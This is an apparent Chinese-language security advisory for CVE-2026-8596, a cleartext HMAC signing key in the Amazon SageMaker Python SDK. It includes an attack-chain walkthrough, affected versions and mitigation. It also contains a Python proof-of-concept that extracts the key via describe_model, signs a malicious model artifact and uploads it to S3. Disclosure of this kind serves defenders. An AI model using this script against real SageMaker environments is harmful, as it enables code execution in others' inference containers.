IPBUF安全漏洞报告
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CVE-2026-8596 CVSS 7.2 高危

CVE-2026-8596 Amazon SageMaker 敏感信息明文存储漏洞

披露日期: 2026-05-14
来源: ff89ba41-3aa1-4d27-914a-91399e9639e5

漏洞信息

漏洞编号
CVE-2026-8596
漏洞类型
敏感信息泄露
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Amazon SageMaker Python SDK

相关标签

远程代码执行敏感信息泄露AWSSageMakerHMAC

漏洞概述

Amazon SageMaker Python SDK的ModelBuilder/Serve组件存在敏感信息明文存储漏洞,特定版本在处理模型构建和部署服务时,未加密HMAC签名密钥。拥有SageMaker describe API调用权限及模型工件S3写入权限的远程已认证攻击者,可从API响应中提取该密钥。攻击者利用窃取的密钥可伪造特制模型工件的完整性签名,最终导致在推理容器中实现任意代码执行,严重影响系统机密性、完整性和可用性。

技术细节

该漏洞源于Amazon SageMaker Python SDK中ModelBuilder/Serve组件的不安全配置。在受影响版本中,用于验证模型工件完整性的HMAC签名密钥被以明文形式存储在模型元数据或可访问的API响应中,未进行加密处理。攻击前提是攻击者必须拥有对SageMaker describe API的访问权限以及对模型工件S3路径的写入权限,这通常意味着攻击者已获得AWS环境的某种级别认证。利用过程包括:首先,攻击者通过DescribeModel或类似API接口获取包含明文HMAC密钥的响应数据;其次,攻击者利用该密钥对包含恶意代码(如反序列化Payload或恶意脚本)的特制模型工件进行签名;最后,攻击者将伪造的工件上传至S3存储桶的模型路径。由于SageMaker推理容器在加载模型时会验证签名,且验证密钥与攻击者持有的密钥一致,验证通过后恶意代码将在容器启动或推理时被执行,从而实现远程代码执行。

攻击链分析

STEP 1
1. 信息收集与权限获取
攻击者获取了AWS环境的认证凭证,具备调用SageMaker Describe API的权限以及对模型S3存储桶的写入权限。
STEP 2
2. 提取敏感信息
攻击者调用DescribeModel等API,从响应中提取出以明文存储的HMAC签名密钥。
STEP 3
3. 构造恶意载荷
攻击者创建包含恶意代码的模型工件,并使用窃取到的HMAC密钥对该工件进行签名,使其通过完整性校验。
STEP 4
4. 投递载荷
攻击者将伪造的模型工件上传至S3存储桶中的模型路径,覆盖或更新原有模型。
STEP 5
5. 执行代码
SageMaker推理容器加载模型时验证签名通过,解析并执行恶意载荷,导致在容器内实现远程代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import boto3 import hmac import hashlib import tarfile import os # Exploit Concept for CVE-2026-8596 # Requires: boto3, permissions for sagemaker:DescribeModel and s3:PutObject # Configuration MODEL_NAME = "target-vulnerable-model" S3_BUCKET = "target-bucket" MALICIOUS_MODEL_PATH = "./malicious_model.tar.gz" # 1. Extract HMAC Key from SageMaker Describe API def get_hmac_key(model_name): client = boto3.client('sagemaker') try: response = client.describe_model(ModelName=model_name) # The vulnerability is that the key is stored in cleartext here # Hypothetical key location based on vulnerability description hmac_key = response['PrimaryContainer']['Environment']['SAGEMAKER_HMAC_KEY'] print(f"[+] Extracted HMAC Key: {hmac_key}") return hmac_key except Exception as e: print(f"[-] Error extracting key: {e}") return None # 2. Create a malicious model artifact def create_malicious_artifact(): with tarfile.open(MALICIOUS_MODEL_PATH, "w:gz") as tar: # Add a simple malicious script (e.g., code.py) code_content = "import os; os.system('touch /tmp/pwned')" with open("code.py", "w") as f: f.write(code_content) tar.add("code.py") print(f"[+] Created malicious artifact at {MALICIOUS_MODEL_PATH}") # 3. Sign the artifact with the stolen key def sign_artifact(key, filepath): with open(filepath, 'rb') as f: data = f.read() signature = hmac.new(key.encode('utf-8'), data, hashlib.sha256).hexdigest() print(f"[+] Generated Signature: {signature}") return signature # 4. Upload to S3 to trigger code execution def upload_and_trigger(signature): s3 = boto3.client('s3') # Upload the file s3.upload_file(MALICIOUS_MODEL_PATH, S3_BUCKET, f"models/{MODEL_NAME}.tar.gz") # In a real scenario, the attacker might need to update the model reference # or wait for the inference container to pick up the new artifact. print(f"[+] Uploaded malicious model to s3://{S3_BUCKET}/models/{MODEL_NAME}.tar.gz") print("[*] If the model reloads, code execution will occur.") if __name__ == "__main__": key = get_hmac_key(MODEL_NAME) if key: create_malicious_artifact() sig = sign_artifact(key, MALICIOUS_MODEL_PATH) upload_and_trigger(sig)

影响范围

Amazon SageMaker Python SDK < v2.257.2
Amazon SageMaker Python SDK v3 < v3.8.0

防御指南

临时缓解措施
限制对SageMaker Describe API和模型S3路径的访问权限,遵循最小权限原则,防止非授权用户获取HMAC密钥。

参考链接

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